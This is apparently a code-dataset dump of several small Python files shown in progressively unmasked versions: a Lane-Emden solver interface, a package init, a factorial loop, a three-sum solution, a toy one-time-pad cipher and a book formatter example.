"step-2": "<mask token>\n\n\ndef test():\n \"\"\"\n A simple test.\n \"\"\"\n n = 3.0\n dz = 2.0 ** -14\n _solver.lane(dz, n)\n out = _solver.laneout\n n = out.ndata\n t = out.theta\n return t, n\n\n\ndef lane_emden_int(dz=2.0 ** -14, n=3.0, w=0.0):\n \"\"\"\n Interface to FORTRAN90 Lane-Emden Integrator.\n\n Call:\n ndata, data = laneemden.lane_emden_int(dz, n, w)\n\n INPUT:\n dz:\n step in z, maye use 2**(-14)\n n:\n polytropic index (use 3.)\n w:\n rotation parameter(use 0. for non-rot)\n w = 2 Omega^2 / (4 pi G rho_c)\n\n OUTPUT:\n ndata:\n number of last point (starts with 0)\n data:\n output data in form [0:ndata,0:1]\n index 0:\n equidistant grid with step size dz starting at 0\n index 1:\n 0: theta(z)\n 1: d theta(z) / dz\n \"\"\"\n _solver.lane(dz, n, w)\n out = _solver.laneout\n n = int(out.ndata)\n t = out.theta\n return n, t[0:n + 1, :]\n\n\ndef lane_emden_step(x, y, dx, n, w):\n \"\"\"\n This allows a single call to the rk4 subroutine.\n\n It turns out to be *way* less efficient.\n Do not use.\n \"\"\"\n _solver.rk4(x, y[0], y[1], dx, n, w)\n out = _solver.rk4out\n return np.array([out.z0, out.z1])\n\n\n<mask token>\n",
"step-3": "<mask token>\n\n\ndef test():\n \"\"\"\n A simple test.\n \"\"\"\n n = 3.0\n dz = 2.0 ** -14\n _solver.lane(dz, n)\n out = _solver.laneout\n n = out.ndata\n t = out.theta\n return t, n\n\n\ndef lane_emden_int(dz=2.0 ** -14, n=3.0, w=0.0):\n \"\"\"\n Interface to FORTRAN90 Lane-Emden Integrator.\n\n Call:\n ndata, data = laneemden.lane_emden_int(dz, n, w)\n\n INPUT:\n dz:\n step in z, maye use 2**(-14)\n n:\n polytropic index (use 3.)\n w:\n rotation parameter(use 0. for non-rot)\n w = 2 Omega^2 / (4 pi G rho_c)\n\n OUTPUT:\n ndata:\n number of last point (starts with 0)\n data:\n output data in form [0:ndata,0:1]\n index 0:\n equidistant grid with step size dz starting at 0\n index 1:\n 0: theta(z)\n 1: d theta(z) / dz\n \"\"\"\n _solver.lane(dz, n, w)\n out = _solver.laneout\n n = int(out.ndata)\n t = out.theta\n return n, t[0:n + 1, :]\n\n\ndef lane_emden_step(x, y, dx, n, w):\n \"\"\"\n This allows a single call to the rk4 subroutine.\n\n It turns out to be *way* less efficient.\n Do not use.\n \"\"\"\n _solver.rk4(x, y[0], y[1], dx, n, w)\n out = _solver.rk4out\n return np.array([out.z0, out.z1])\n\n\nif __name__ == '__main__':\n t, n = test()\n print(t, n)\n",
"step-4": "<mask token>\nimport numpy as np\nfrom . import _solver\n\n\ndef test():\n \"\"\"\n A simple test.\n \"\"\"\n n = 3.0\n dz = 2.0 ** -14\n _solver.lane(dz, n)\n out = _solver.laneout\n n = out.ndata\n t = out.theta\n return t, n\n\n\ndef lane_emden_int(dz=2.0 ** -14, n=3.0, w=0.0):\n \"\"\"\n Interface to FORTRAN90 Lane-Emden Integrator.\n\n Call:\n ndata, data = laneemden.lane_emden_int(dz, n, w)\n\n INPUT:\n dz:\n step in z, maye use 2**(-14)\n n:\n polytropic index (use 3.)\n w:\n rotation parameter(use 0. for non-rot)\n w = 2 Omega^2 / (4 pi G rho_c)\n\n OUTPUT:\n ndata:\n number of last point (starts with 0)\n data:\n output data in form [0:ndata,0:1]\n index 0:\n equidistant grid with step size dz starting at 0\n index 1:\n 0: theta(z)\n 1: d theta(z) / dz\n \"\"\"\n _solver.lane(dz, n, w)\n out = _solver.laneout\n n = int(out.ndata)\n t = out.theta\n return n, t[0:n + 1, :]\n\n\ndef lane_emden_step(x, y, dx, n, w):\n \"\"\"\n This allows a single call to the rk4 subroutine.\n\n It turns out to be *way* less efficient.\n Do not use.\n \"\"\"\n _solver.rk4(x, y[0], y[1], dx, n, w)\n out = _solver.rk4out\n return np.array([out.z0, out.z1])\n\n\nif __name__ == '__main__':\n t, n = test()\n print(t, n)\n",
"step-5": "#! /bin/env python3\n\n\"\"\"\nLane Emden Python interface.\n\nMain routine:\n lane_emden_int(dz, n)\n\"\"\"\n\nimport numpy as np\nfrom . import _solver\n\ndef test():\n \"\"\"\n A simple test.\n \"\"\"\n n = 3.\n dz = 2.**(-14)\n _solver.lane(dz,n)\n out = _solver.laneout\n n = out.ndata\n t = out.theta\n return t,n\n\ndef lane_emden_int(dz = 2.**(-14), n = 3., w = 0.):\n \"\"\"\n Interface to FORTRAN90 Lane-Emden Integrator.\n\n Call:\n ndata, data = laneemden.lane_emden_int(dz, n, w)\n\n INPUT:\n dz:\n step in z, maye use 2**(-14)\n n:\n polytropic index (use 3.)\n w:\n rotation parameter(use 0. for non-rot)\n w = 2 Omega^2 / (4 pi G rho_c)\n\n OUTPUT:\n ndata:\n number of last point (starts with 0)\n data:\n output data in form [0:ndata,0:1]\n index 0:\n equidistant grid with step size dz starting at 0\n index 1:\n 0: theta(z)\n 1: d theta(z) / dz\n \"\"\"\n _solver.lane(dz, n, w)\n out = _solver.laneout\n n = int(out.ndata)\n t = out.theta\n return n,t[0:n+1,:]\n\ndef lane_emden_step(x,y,dx,n,w):\n \"\"\"\n This allows a single call to the rk4 subroutine.\n\n It turns out to be *way* less efficient.\n Do not use.\n \"\"\"\n _solver.rk4(x,y[0],y[1],dx,n,w)\n out = _solver.rk4out\n return np.array([out.z0,out.z1])\n\nif __name__ == '__main__':\n t,n = test()\n print(t, n)\n",
"step-ids": [
2,
3,
4,
5,
6
]
}
|
[
2,
3,
4,
5,
6
] |
from .authenticators import CookieAuthenticator, HeaderAuthenticator
from .paginators import LimitOffsetPaginator, PageNumberPaginator
from .views import * # pylint:disable=W0401
|
normal
|
{
"blob_id": "dab53d10958b36cf75ab53bf30f744b1ed8a09b6",
"index": 6475,
"step-1": "<mask token>\n",
"step-2": "from .authenticators import CookieAuthenticator, HeaderAuthenticator\nfrom .paginators import LimitOffsetPaginator, PageNumberPaginator\nfrom .views import *\n",
"step-3": "from .authenticators import CookieAuthenticator, HeaderAuthenticator\nfrom .paginators import LimitOffsetPaginator, PageNumberPaginator\nfrom .views import * # pylint:disable=W0401\n",
"step-4": null,
"step-5": null,
"step-ids": [
0,
1,
2
]
}
|
[
0,
1,
2
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
while sair:
num = int(input('informe um numero inteiro:'))
if num < 16:
fatorial = 1
x = num
while x >= 1:
print(x, '.')
fatorial = fatorial * x
x -= 1
print('Valor total do Fatorial do %d = %d ' % (num, fatorial))
else:
print('Número inválido!!')
sair = input('deseja sair? s ou n:')
if sair.upper() == 'S':
sair = False
print('Programa Encerrado')
<|reserved_special_token_1|>
sair = True
while sair:
num = int(input('informe um numero inteiro:'))
if num < 16:
fatorial = 1
x = num
while x >= 1:
print(x, '.')
fatorial = fatorial * x
x -= 1
print('Valor total do Fatorial do %d = %d ' % (num, fatorial))
else:
print('Número inválido!!')
sair = input('deseja sair? s ou n:')
if sair.upper() == 'S':
sair = False
print('Programa Encerrado')
<|reserved_special_token_1|>
sair = True
while sair:
num = int(input("informe um numero inteiro:"))
if num <16:
fatorial = 1
x = num
while x>=1:
print(x,".")
fatorial = fatorial*x
x -= 1
print("Valor total do Fatorial do %d = %d "%(num,fatorial))
else:
print("Número inválido!!")
sair = input("deseja sair? s ou n:")
if sair.upper() == "S":
sair = False
print("Programa Encerrado")
|
flexible
|
{
"blob_id": "421e7ed0cc5a8c8acc9b98fae4ee6cc784d9b068",
"index": 9683,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nwhile sair:\n num = int(input('informe um numero inteiro:'))\n if num < 16:\n fatorial = 1\n x = num\n while x >= 1:\n print(x, '.')\n fatorial = fatorial * x\n x -= 1\n print('Valor total do Fatorial do %d = %d ' % (num, fatorial))\n else:\n print('Número inválido!!')\n sair = input('deseja sair? s ou n:')\n if sair.upper() == 'S':\n sair = False\n print('Programa Encerrado')\n",
"step-3": "sair = True\nwhile sair:\n num = int(input('informe um numero inteiro:'))\n if num < 16:\n fatorial = 1\n x = num\n while x >= 1:\n print(x, '.')\n fatorial = fatorial * x\n x -= 1\n print('Valor total do Fatorial do %d = %d ' % (num, fatorial))\n else:\n print('Número inválido!!')\n sair = input('deseja sair? s ou n:')\n if sair.upper() == 'S':\n sair = False\n print('Programa Encerrado')\n",
"step-4": "sair = True\r\nwhile sair:\r\n num = int(input(\"informe um numero inteiro:\"))\r\n if num <16:\r\n fatorial = 1\r\n x = num\r\n while x>=1:\r\n print(x,\".\")\r\n fatorial = fatorial*x\r\n x -= 1\r\n print(\"Valor total do Fatorial do %d = %d \"%(num,fatorial))\r\n else:\r\n print(\"Número inválido!!\")\r\n sair = input(\"deseja sair? s ou n:\")\r\n \r\n if sair.upper() == \"S\":\r\n sair = False\r\n print(\"Programa Encerrado\")",
"step-5": null,
"step-ids": [
0,
1,
2,
3
]
}
|
[
0,
1,
2,
3
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
class Solution:
<|reserved_special_token_0|>
<|reserved_special_token_1|>
class Solution:
def threeSum(self, nums: List[int]) ->List[List[int]]:
res = []
nums.sort()
for k in range(len(nums) - 2):
if k > 0 and nums[k] == nums[k - 1]:
continuere
if nums[k] > 0:
break
L, R = k + 1, len(nums) - 1
while L < R:
s = nums[k] + nums[L] + nums[R]
if s < 0:
L += 1
elif s > 0:
R -= 1
else:
res.append((nums[k], nums[L], nums[R]))
while L < R and nums[L] == nums[L + 1]:
L += 1
while L < R and nums[R] == nums[R - 1]:
R -= 1
L += 1
R -= 1
return res
<|reserved_special_token_1|>
#
# @lc app=leetcode.cn id=15 lang=python3
#
# [15] 三数之和
#
# https://leetcode-cn.com/problems/3sum/description/
#
# algorithms
# Medium (25.76%)
# Likes: 1904
# Dislikes: 0
# Total Accepted: 176.6K
# Total Submissions: 679K
# Testcase Example: '[-1,0,1,2,-1,-4]'
#
# 给你一个包含 n 个整数的数组 nums,判断 nums 中是否存在三个元素 a,b,c ,使得 a + b + c = 0
# ?请你找出所有满足条件且不重复的三元组。
#
# 注意:答案中不可以包含重复的三元组。
#
#
#
# 示例:
#
# 给定数组 nums = [-1, 0, 1, 2, -1, -4],
#
# 满足要求的三元组集合为:
# [
# [-1, 0, 1],
# [-1, -1, 2]
# ]
#
# 1. 三层循环暴力求解
# 2. 双指针求解
# 3. hashmap 求解
# @lc code=start
class Solution:
def threeSum(self, nums: List[int]) -> List[List[int]]:
res = []
nums.sort()
for k in range(len(nums) - 2):
if k > 0 and nums[k] == nums[k-1]:
continuere
if nums[k] > 0:
break
L, R = k+1, len(nums) - 1
while L < R:
s = nums[k] + nums[L] + nums[R]
if s < 0:
L += 1
elif s > 0:
R -= 1
else:
res.append((nums[k], nums[L], nums[R]))
while L < R and nums[L] == nums[L+1]:
L += 1
while L < R and nums[R] == nums[R-1]:
R -= 1
L += 1
R -= 1
return res
# @lc code=end
|
flexible
|
{
"blob_id": "ccf3ada9a2bedf29820170f2e8184fc16f1b7aea",
"index": 9580,
"step-1": "<mask token>\n",
"step-2": "class Solution:\n <mask token>\n",
"step-3": "class Solution:\n\n def threeSum(self, nums: List[int]) ->List[List[int]]:\n res = []\n nums.sort()\n for k in range(len(nums) - 2):\n if k > 0 and nums[k] == nums[k - 1]:\n continuere\n if nums[k] > 0:\n break\n L, R = k + 1, len(nums) - 1\n while L < R:\n s = nums[k] + nums[L] + nums[R]\n if s < 0:\n L += 1\n elif s > 0:\n R -= 1\n else:\n res.append((nums[k], nums[L], nums[R]))\n while L < R and nums[L] == nums[L + 1]:\n L += 1\n while L < R and nums[R] == nums[R - 1]:\n R -= 1\n L += 1\n R -= 1\n return res\n",
"step-4": "#\n# @lc app=leetcode.cn id=15 lang=python3\n#\n# [15] 三数之和\n#\n# https://leetcode-cn.com/problems/3sum/description/\n#\n# algorithms\n# Medium (25.76%)\n# Likes: 1904\n# Dislikes: 0\n# Total Accepted: 176.6K\n# Total Submissions: 679K\n# Testcase Example: '[-1,0,1,2,-1,-4]'\n#\n# 给你一个包含 n 个整数的数组 nums,判断 nums 中是否存在三个元素 a,b,c ,使得 a + b + c = 0\n# ?请你找出所有满足条件且不重复的三元组。\n#\n# 注意:答案中不可以包含重复的三元组。\n#\n#\n#\n# 示例:\n#\n# 给定数组 nums = [-1, 0, 1, 2, -1, -4],\n#\n# 满足要求的三元组集合为:\n# [\n# [-1, 0, 1],\n# [-1, -1, 2]\n# ]\n#\n# 1. 三层循环暴力求解\n# 2. 双指针求解\n# 3. hashmap 求解\n\n# @lc code=start\n\n\nclass Solution:\n def threeSum(self, nums: List[int]) -> List[List[int]]:\n res = []\n nums.sort()\n for k in range(len(nums) - 2):\n if k > 0 and nums[k] == nums[k-1]:\n continuere\n if nums[k] > 0:\n break\n L, R = k+1, len(nums) - 1\n while L < R:\n s = nums[k] + nums[L] + nums[R]\n if s < 0:\n L += 1\n elif s > 0:\n R -= 1\n else:\n res.append((nums[k], nums[L], nums[R]))\n while L < R and nums[L] == nums[L+1]:\n L += 1\n while L < R and nums[R] == nums[R-1]:\n R -= 1\n L += 1\n R -= 1\n return res\n# @lc code=end\n",
"step-5": null,
"step-ids": [
0,
1,
2,
3
]
}
|
[
0,
1,
2,
3
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
file_one_time_pad.close()
print(p_text)
<|reserved_special_token_0|>
for i in p_text:
main_text.append(i)
for i in range(length_p_text):
for j in range(25):
if main_text[i] == alphabets[j]:
p_text_numerical.append(j)
break
if length_p_text == length_temp_key:
for i in range(length_temp_key - 1):
main_key.append(temp_key[i])
elif length_p_text < length_temp_key:
for i in range(length_p_text - 1):
main_key.append(temp_key[i])
else:
for i in range(length_temp_key - 1):
main_key.append(temp_key[i])
diff = length_p_text - length_temp_key
for i in range(diff):
random_alpha = random.choice(temp_key)
main_key.append(random_alpha)
print('The main key is :: \n')
print(main_key)
print('The length of p_text_numerical:: \t', len(p_text_numerical))
print('\n')
print('The length of the main_key is :: \t', len(main_key))
for i in range(length_p_text - 1):
cipher_text_numerical.append(abs(p_text_numerical[i] + main_key[i]))
print('The cipherred text is :: \n')
print(cipher_text_numerical)
<|reserved_special_token_0|>
for i in range(length_cipher):
decipher_numerical.append(cipher_text_numerical[i] - main_key[i])
print('The decipherred numerical::\n')
print(decipher_numerical)
<|reserved_special_token_0|>
for i in range(length_p_text - 1):
temp = decipher_numerical[i]
decipher_text.append(alphabets[temp])
<|reserved_special_token_0|>
for i in decipher_text:
deciphered_one = deciphered_one + i
<|reserved_special_token_0|>
file_encrypt.write(deciphered_one)
file_encrypt.close()
print('The deciphered text is ::\n')
print(decipher_text)
<|reserved_special_token_1|>
<|reserved_special_token_0|>
file_one_time_pad = open('encryption_file.txt', 'r')
p_text = file_one_time_pad.read()
file_one_time_pad.close()
print(p_text)
p_text = str.lower(p_text)
main_text = []
p_text_numerical = []
temp_key = [21, 25, 20, 15, 16, 14, 10, 26, 24, 9, 8, 13]
alphabets = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l',
'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']
main_key = []
cipher_text = []
cipher_text_numerical = []
length_p_text = len(p_text)
length_temp_key = len(temp_key)
random_alpha = 0
decipher_text = []
decipher_numerical = []
for i in p_text:
main_text.append(i)
for i in range(length_p_text):
for j in range(25):
if main_text[i] == alphabets[j]:
p_text_numerical.append(j)
break
if length_p_text == length_temp_key:
for i in range(length_temp_key - 1):
main_key.append(temp_key[i])
elif length_p_text < length_temp_key:
for i in range(length_p_text - 1):
main_key.append(temp_key[i])
else:
for i in range(length_temp_key - 1):
main_key.append(temp_key[i])
diff = length_p_text - length_temp_key
for i in range(diff):
random_alpha = random.choice(temp_key)
main_key.append(random_alpha)
print('The main key is :: \n')
print(main_key)
print('The length of p_text_numerical:: \t', len(p_text_numerical))
print('\n')
print('The length of the main_key is :: \t', len(main_key))
for i in range(length_p_text - 1):
cipher_text_numerical.append(abs(p_text_numerical[i] + main_key[i]))
print('The cipherred text is :: \n')
print(cipher_text_numerical)
length_cipher = len(cipher_text_numerical)
for i in range(length_cipher):
decipher_numerical.append(cipher_text_numerical[i] - main_key[i])
print('The decipherred numerical::\n')
print(decipher_numerical)
temp = 0
for i in range(length_p_text - 1):
temp = decipher_numerical[i]
decipher_text.append(alphabets[temp])
deciphered_one = ''
for i in decipher_text:
deciphered_one = deciphered_one + i
file_encrypt = open('encryption_file.txt', 'w')
file_encrypt.write(deciphered_one)
file_encrypt.close()
print('The deciphered text is ::\n')
print(decipher_text)
<|reserved_special_token_1|>
import string
import random
file_one_time_pad = open('encryption_file.txt', 'r')
p_text = file_one_time_pad.read()
file_one_time_pad.close()
print(p_text)
p_text = str.lower(p_text)
main_text = []
p_text_numerical = []
temp_key = [21, 25, 20, 15, 16, 14, 10, 26, 24, 9, 8, 13]
alphabets = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l',
'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']
main_key = []
cipher_text = []
cipher_text_numerical = []
length_p_text = len(p_text)
length_temp_key = len(temp_key)
random_alpha = 0
decipher_text = []
decipher_numerical = []
for i in p_text:
main_text.append(i)
for i in range(length_p_text):
for j in range(25):
if main_text[i] == alphabets[j]:
p_text_numerical.append(j)
break
if length_p_text == length_temp_key:
for i in range(length_temp_key - 1):
main_key.append(temp_key[i])
elif length_p_text < length_temp_key:
for i in range(length_p_text - 1):
main_key.append(temp_key[i])
else:
for i in range(length_temp_key - 1):
main_key.append(temp_key[i])
diff = length_p_text - length_temp_key
for i in range(diff):
random_alpha = random.choice(temp_key)
main_key.append(random_alpha)
print('The main key is :: \n')
print(main_key)
print('The length of p_text_numerical:: \t', len(p_text_numerical))
print('\n')
print('The length of the main_key is :: \t', len(main_key))
for i in range(length_p_text - 1):
cipher_text_numerical.append(abs(p_text_numerical[i] + main_key[i]))
print('The cipherred text is :: \n')
print(cipher_text_numerical)
length_cipher = len(cipher_text_numerical)
for i in range(length_cipher):
decipher_numerical.append(cipher_text_numerical[i] - main_key[i])
print('The decipherred numerical::\n')
print(decipher_numerical)
temp = 0
for i in range(length_p_text - 1):
temp = decipher_numerical[i]
decipher_text.append(alphabets[temp])
deciphered_one = ''
for i in decipher_text:
deciphered_one = deciphered_one + i
file_encrypt = open('encryption_file.txt', 'w')
file_encrypt.write(deciphered_one)
file_encrypt.close()
print('The deciphered text is ::\n')
print(decipher_text)
<|reserved_special_token_1|>
import string
import random
file_one_time_pad = open("encryption_file.txt","r")
p_text = file_one_time_pad.read()
file_one_time_pad.close()
print(p_text)
p_text = str.lower(p_text)
main_text = []
p_text_numerical = []
temp_key = [21,25,20,15,16,14,10,26,24,9,8,13]
alphabets = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']
main_key = []
cipher_text = []
cipher_text_numerical = []
length_p_text = len(p_text)
length_temp_key = len(temp_key)
random_alpha = 0
decipher_text = []
decipher_numerical = []
##Getting the numerical values of the text
for i in p_text:
main_text.append(i)
for i in range(length_p_text):
for j in range(25):
if main_text[i] == alphabets[j]:
p_text_numerical.append(j)
break
##Generating keys dynamically
if length_p_text == length_temp_key:
for i in range(length_temp_key-1):
main_key.append(temp_key[i])
elif length_p_text < length_temp_key:
for i in range(length_p_text-1):
main_key.append(temp_key[i])
else:
for i in range(length_temp_key-1):
main_key.append(temp_key[i])
diff = length_p_text - length_temp_key
for i in range(diff):
random_alpha = random.choice(temp_key)
main_key.append(random_alpha)
print("The main key is :: \n")
print(main_key)
print("The length of p_text_numerical:: \t",len(p_text_numerical))
print("\n")
print("The length of the main_key is :: \t",len(main_key))
## Ciphering algorithm
for i in range(length_p_text-1):
cipher_text_numerical.append(abs(p_text_numerical[i]+main_key[i]))
print("The cipherred text is :: \n")
print(cipher_text_numerical)
## Deciphering algorithm
length_cipher = len(cipher_text_numerical)
for i in range(length_cipher):
decipher_numerical.append(cipher_text_numerical[i] - main_key[i])
print("The decipherred numerical::\n")
print(decipher_numerical)
temp = 0
for i in range(length_p_text-1):
temp = decipher_numerical[i]
decipher_text.append(alphabets[temp])
deciphered_one = ""
for i in decipher_text:
deciphered_one = deciphered_one + i
file_encrypt = open("encryption_file.txt","w")
file_encrypt.write(deciphered_one)
file_encrypt.close()
print("The deciphered text is ::\n")
print(decipher_text)
|
flexible
|
{
"blob_id": "4b647d37d390a4df42f29bbfc7e4bae4e77c5828",
"index": 8935,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nfile_one_time_pad.close()\nprint(p_text)\n<mask token>\nfor i in p_text:\n main_text.append(i)\nfor i in range(length_p_text):\n for j in range(25):\n if main_text[i] == alphabets[j]:\n p_text_numerical.append(j)\n break\nif length_p_text == length_temp_key:\n for i in range(length_temp_key - 1):\n main_key.append(temp_key[i])\nelif length_p_text < length_temp_key:\n for i in range(length_p_text - 1):\n main_key.append(temp_key[i])\nelse:\n for i in range(length_temp_key - 1):\n main_key.append(temp_key[i])\n diff = length_p_text - length_temp_key\n for i in range(diff):\n random_alpha = random.choice(temp_key)\n main_key.append(random_alpha)\nprint('The main key is :: \\n')\nprint(main_key)\nprint('The length of p_text_numerical:: \\t', len(p_text_numerical))\nprint('\\n')\nprint('The length of the main_key is :: \\t', len(main_key))\nfor i in range(length_p_text - 1):\n cipher_text_numerical.append(abs(p_text_numerical[i] + main_key[i]))\nprint('The cipherred text is :: \\n')\nprint(cipher_text_numerical)\n<mask token>\nfor i in range(length_cipher):\n decipher_numerical.append(cipher_text_numerical[i] - main_key[i])\nprint('The decipherred numerical::\\n')\nprint(decipher_numerical)\n<mask token>\nfor i in range(length_p_text - 1):\n temp = decipher_numerical[i]\n decipher_text.append(alphabets[temp])\n<mask token>\nfor i in decipher_text:\n deciphered_one = deciphered_one + i\n<mask token>\nfile_encrypt.write(deciphered_one)\nfile_encrypt.close()\nprint('The deciphered text is ::\\n')\nprint(decipher_text)\n",
"step-3": "<mask token>\nfile_one_time_pad = open('encryption_file.txt', 'r')\np_text = file_one_time_pad.read()\nfile_one_time_pad.close()\nprint(p_text)\np_text = str.lower(p_text)\nmain_text = []\np_text_numerical = []\ntemp_key = [21, 25, 20, 15, 16, 14, 10, 26, 24, 9, 8, 13]\nalphabets = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l',\n 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']\nmain_key = []\ncipher_text = []\ncipher_text_numerical = []\nlength_p_text = len(p_text)\nlength_temp_key = len(temp_key)\nrandom_alpha = 0\ndecipher_text = []\ndecipher_numerical = []\nfor i in p_text:\n main_text.append(i)\nfor i in range(length_p_text):\n for j in range(25):\n if main_text[i] == alphabets[j]:\n p_text_numerical.append(j)\n break\nif length_p_text == length_temp_key:\n for i in range(length_temp_key - 1):\n main_key.append(temp_key[i])\nelif length_p_text < length_temp_key:\n for i in range(length_p_text - 1):\n main_key.append(temp_key[i])\nelse:\n for i in range(length_temp_key - 1):\n main_key.append(temp_key[i])\n diff = length_p_text - length_temp_key\n for i in range(diff):\n random_alpha = random.choice(temp_key)\n main_key.append(random_alpha)\nprint('The main key is :: \\n')\nprint(main_key)\nprint('The length of p_text_numerical:: \\t', len(p_text_numerical))\nprint('\\n')\nprint('The length of the main_key is :: \\t', len(main_key))\nfor i in range(length_p_text - 1):\n cipher_text_numerical.append(abs(p_text_numerical[i] + main_key[i]))\nprint('The cipherred text is :: \\n')\nprint(cipher_text_numerical)\nlength_cipher = len(cipher_text_numerical)\nfor i in range(length_cipher):\n decipher_numerical.append(cipher_text_numerical[i] - main_key[i])\nprint('The decipherred numerical::\\n')\nprint(decipher_numerical)\ntemp = 0\nfor i in range(length_p_text - 1):\n temp = decipher_numerical[i]\n decipher_text.append(alphabets[temp])\ndeciphered_one = ''\nfor i in decipher_text:\n deciphered_one = deciphered_one + i\nfile_encrypt = open('encryption_file.txt', 'w')\nfile_encrypt.write(deciphered_one)\nfile_encrypt.close()\nprint('The deciphered text is ::\\n')\nprint(decipher_text)\n",
"step-4": "import string\nimport random\nfile_one_time_pad = open('encryption_file.txt', 'r')\np_text = file_one_time_pad.read()\nfile_one_time_pad.close()\nprint(p_text)\np_text = str.lower(p_text)\nmain_text = []\np_text_numerical = []\ntemp_key = [21, 25, 20, 15, 16, 14, 10, 26, 24, 9, 8, 13]\nalphabets = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l',\n 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']\nmain_key = []\ncipher_text = []\ncipher_text_numerical = []\nlength_p_text = len(p_text)\nlength_temp_key = len(temp_key)\nrandom_alpha = 0\ndecipher_text = []\ndecipher_numerical = []\nfor i in p_text:\n main_text.append(i)\nfor i in range(length_p_text):\n for j in range(25):\n if main_text[i] == alphabets[j]:\n p_text_numerical.append(j)\n break\nif length_p_text == length_temp_key:\n for i in range(length_temp_key - 1):\n main_key.append(temp_key[i])\nelif length_p_text < length_temp_key:\n for i in range(length_p_text - 1):\n main_key.append(temp_key[i])\nelse:\n for i in range(length_temp_key - 1):\n main_key.append(temp_key[i])\n diff = length_p_text - length_temp_key\n for i in range(diff):\n random_alpha = random.choice(temp_key)\n main_key.append(random_alpha)\nprint('The main key is :: \\n')\nprint(main_key)\nprint('The length of p_text_numerical:: \\t', len(p_text_numerical))\nprint('\\n')\nprint('The length of the main_key is :: \\t', len(main_key))\nfor i in range(length_p_text - 1):\n cipher_text_numerical.append(abs(p_text_numerical[i] + main_key[i]))\nprint('The cipherred text is :: \\n')\nprint(cipher_text_numerical)\nlength_cipher = len(cipher_text_numerical)\nfor i in range(length_cipher):\n decipher_numerical.append(cipher_text_numerical[i] - main_key[i])\nprint('The decipherred numerical::\\n')\nprint(decipher_numerical)\ntemp = 0\nfor i in range(length_p_text - 1):\n temp = decipher_numerical[i]\n decipher_text.append(alphabets[temp])\ndeciphered_one = ''\nfor i in decipher_text:\n deciphered_one = deciphered_one + i\nfile_encrypt = open('encryption_file.txt', 'w')\nfile_encrypt.write(deciphered_one)\nfile_encrypt.close()\nprint('The deciphered text is ::\\n')\nprint(decipher_text)\n",
"step-5": "import string\nimport random\n\nfile_one_time_pad = open(\"encryption_file.txt\",\"r\")\np_text = file_one_time_pad.read()\nfile_one_time_pad.close()\nprint(p_text)\np_text = str.lower(p_text)\nmain_text = []\np_text_numerical = []\ntemp_key = [21,25,20,15,16,14,10,26,24,9,8,13]\nalphabets = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']\nmain_key = []\ncipher_text = []\ncipher_text_numerical = []\nlength_p_text = len(p_text)\nlength_temp_key = len(temp_key)\nrandom_alpha = 0\ndecipher_text = []\ndecipher_numerical = []\n\n\n\n##Getting the numerical values of the text\nfor i in p_text:\n\tmain_text.append(i)\n\nfor i in range(length_p_text):\n\tfor j in range(25):\n\t\tif main_text[i] == alphabets[j]:\n\t\t\tp_text_numerical.append(j)\n\t\t\tbreak \n\n\n##Generating keys dynamically\nif length_p_text == length_temp_key:\n\tfor i in range(length_temp_key-1):\n\t\tmain_key.append(temp_key[i])\nelif length_p_text < length_temp_key:\n\tfor i in range(length_p_text-1):\n\t\tmain_key.append(temp_key[i])\nelse:\n\tfor i in range(length_temp_key-1):\n\t\tmain_key.append(temp_key[i])\n\tdiff = length_p_text - length_temp_key\n\tfor i in range(diff):\n\t\trandom_alpha = random.choice(temp_key)\n\t\tmain_key.append(random_alpha)\nprint(\"The main key is :: \\n\")\nprint(main_key)\nprint(\"The length of p_text_numerical:: \\t\",len(p_text_numerical))\nprint(\"\\n\")\nprint(\"The length of the main_key is :: \\t\",len(main_key))\n\n## Ciphering algorithm\n\nfor i in range(length_p_text-1):\n\tcipher_text_numerical.append(abs(p_text_numerical[i]+main_key[i]))\nprint(\"The cipherred text is :: \\n\")\nprint(cipher_text_numerical)\n\n\n## Deciphering algorithm\nlength_cipher = len(cipher_text_numerical)\nfor i in range(length_cipher):\n\tdecipher_numerical.append(cipher_text_numerical[i] - main_key[i])\nprint(\"The decipherred numerical::\\n\")\nprint(decipher_numerical)\n\ntemp = 0\nfor i in range(length_p_text-1):\n\ttemp = decipher_numerical[i]\t\n\tdecipher_text.append(alphabets[temp])\n\ndeciphered_one = \"\"\nfor i in decipher_text:\n\tdeciphered_one = deciphered_one + i\n\nfile_encrypt = open(\"encryption_file.txt\",\"w\")\nfile_encrypt.write(deciphered_one)\nfile_encrypt.close()\nprint(\"The deciphered text is ::\\n\")\nprint(decipher_text)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",
"step-ids": [
0,
1,
2,
3,
4
]
}
|
[
0,
1,
2,
3,
4
] |
<|reserved_special_token_0|>
class Formatter(ABC):
<|reserved_special_token_0|>
class TitleFormatter(Formatter):
def format(self, book: Book) ->str:
return book.title
class ContentFormatter(Formatter):
def format(self, book: Book) ->str:
return book.content
class Printer:
def get_info(self, book: Book, formatter: Formatter):
return formatter.format(book)
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class Formatter(ABC):
@abstractmethod
def format(self, book: Book):
pass
class TitleFormatter(Formatter):
def format(self, book: Book) ->str:
return book.title
class ContentFormatter(Formatter):
def format(self, book: Book) ->str:
return book.content
class Printer:
def get_info(self, book: Book, formatter: Formatter):
return formatter.format(book)
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class Book:
